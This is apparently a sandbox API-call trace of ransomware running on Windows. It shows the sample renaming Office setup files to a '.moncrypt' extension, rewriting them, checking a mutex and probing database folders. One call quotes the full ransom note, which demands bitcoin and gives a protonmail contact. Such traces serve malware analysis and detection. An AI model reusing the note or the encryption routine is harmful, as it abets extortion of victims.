dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XMLt", lpUsedDefaultChar=0x0) returned 4 [0047.931] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0047.931] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0047.931] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0047.931] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0047.933] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0047.933] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.moncrypt")) returned 1 [0047.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.933] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.933] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x5ac [0047.933] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.933] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x5ac, lpOverlapped=0x0) returned 1 [0047.935] GlobalLock (hMem=0x440004) returned 0x555568 [0047.935] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.935] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.935] GlobalUnlock (hMem=0x440004) returned 0 [0047.935] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.935] GlobalUnlock (hMem=0x44000c) returned 0 [0047.935] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.935] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.935] GlobalUnlock (hMem=0x44000c) returned 0 [0047.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.947] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0047.947] CloseHandle (hObject=0x190) returned 1 [0047.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0047.947] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.947] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.947] GlobalUnlock (hMem=0x44000c) returned 0 [0047.948] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.948] GlobalLock (hMem=0x440004) returned 0x557578 [0047.948] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.948] GlobalUnlock (hMem=0x44000c) returned 0 [0047.948] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.948] GlobalUnlock (hMem=0x440004) returned 0 [0047.948] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dda4640, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dda4640, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dda4640, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0047.948] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0047.948] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0047.948] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.948] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.948] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0047.948] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.949] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.949] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0047.949] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.949] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0047.949] CloseHandle (hObject=0x190) returned 1 [0047.949] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.949] GlobalLock (hMem=0x440004) returned 0x555568 [0047.949] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.949] GlobalUnlock (hMem=0x440004) returned 0 [0047.949] GlobalLock (hMem=0x440004) returned 0x555568 [0047.949] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.949] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.949] GlobalUnlock (hMem=0x440004) returned 0 [0047.949] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.949] GlobalUnlock (hMem=0x44000c) returned 0 [0047.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3dda4640, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dda4640, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0047.949] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0047.949] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.950] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.950] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.950] GlobalUnlock (hMem=0x44000c) returned 0 [0047.950] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.950] GlobalLock (hMem=0x440004) returned 0x557578 [0047.950] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.950] GlobalUnlock (hMem=0x44000c) returned 0 [0047.950] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.950] GlobalUnlock (hMem=0x440004) returned 0 [0047.950] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.950] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3dda4640, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dda4640, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.950] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.950] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.950] GlobalLock (hMem=0x440004) returned 0x555568 [0047.950] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.950] GlobalUnlock (hMem=0x440004) returned 0 [0047.950] GlobalLock (hMem=0x440004) returned 0x555568 [0047.950] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.950] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.950] GlobalUnlock (hMem=0x440004) returned 0 [0047.950] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.950] GlobalUnlock (hMem=0x44000c) returned 0 [0047.950] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.950] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML.moncrypt", cAlternateFileName="GROOVE~1.MON")) returned 1 [0047.951] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.951] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.951] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.951] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.951] GlobalUnlock (hMem=0x44000c) returned 0 [0047.951] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.951] GlobalLock (hMem=0x440004) returned 0x557578 [0047.951] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.951] GlobalUnlock (hMem=0x44000c) returned 0 [0047.951] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.951] GlobalUnlock (hMem=0x440004) returned 0 [0047.951] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.951] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dda4640, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dda4640, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dda4640, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0047.951] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.951] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.951] GlobalLock (hMem=0x440004) returned 0x555568 [0047.951] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.951] GlobalUnlock (hMem=0x440004) returned 0 [0047.951] GlobalLock (hMem=0x440004) returned 0x555568 [0047.951] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.951] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.951] GlobalUnlock (hMem=0x440004) returned 0 [0047.951] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.951] GlobalUnlock (hMem=0x44000c) returned 0 [0047.951] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.951] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x665, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0047.951] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.951] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.952] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.952] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.952] GlobalUnlock (hMem=0x44000c) returned 0 [0047.952] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.952] GlobalLock (hMem=0x440004) returned 0x557578 [0047.952] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.952] GlobalUnlock (hMem=0x44000c) returned 0 [0047.952] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.952] GlobalUnlock (hMem=0x440004) returned 0 [0047.952] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.952] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x665, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0047.952] GetLastError () returned 0x12 [0047.952] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.952] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad0c20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dad0c20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dad0c20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0047.952] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.952] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.952] GlobalLock (hMem=0x440004) returned 0x555568 [0047.952] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.952] GlobalUnlock (hMem=0x440004) returned 0 [0047.953] GlobalLock (hMem=0x440004) returned 0x555568 [0047.953] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.953] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.953] GlobalUnlock (hMem=0x440004) returned 0 [0047.953] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.953] GlobalUnlock (hMem=0x44000c) returned 0 [0047.953] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.953] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0047.953] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.953] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.953] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.953] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.953] GlobalUnlock (hMem=0x44000c) returned 0 [0047.953] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.953] GlobalLock (hMem=0x440004) returned 0x557578 [0047.953] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.953] GlobalUnlock (hMem=0x44000c) returned 0 [0047.953] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.953] GlobalUnlock (hMem=0x440004) returned 0 [0047.953] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.953] GlobalLock (hMem=0x440004) returned 0x555568 [0047.953] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.953] GlobalUnlock (hMem=0x440004) returned 0 [0047.953] GlobalLock (hMem=0x440004) returned 0x555568 [0047.953] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.953] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.953] GlobalUnlock (hMem=0x440004) returned 0 [0047.954] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.954] GlobalUnlock (hMem=0x44000c) returned 0 [0047.954] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.954] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us", len=0x5e | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us") returned 1 [0047.954] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.954] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.954] GlobalUnlock (hMem=0x44000c) returned 0 [0047.954] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.954] GlobalLock (hMem=0x440004) returned 0x557578 [0047.954] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.954] GlobalUnlock (hMem=0x44000c) returned 0 [0047.954] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.954] GlobalUnlock (hMem=0x440004) returned 0 [0047.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⌆R⋚R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0047.955] GetLastError () returned 0x3 [0047.955] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.955] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0047.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18䀴Q\x181")) returned 0xffffffff [0047.956] GetLastError () returned 0x2 [0047.956] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0047.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69958, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0047.957] GetLastError () returned 0x2 [0047.957] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", cchLength=0x5f | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\") returned 0x5f [0047.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69900, cbMultiByte=9, 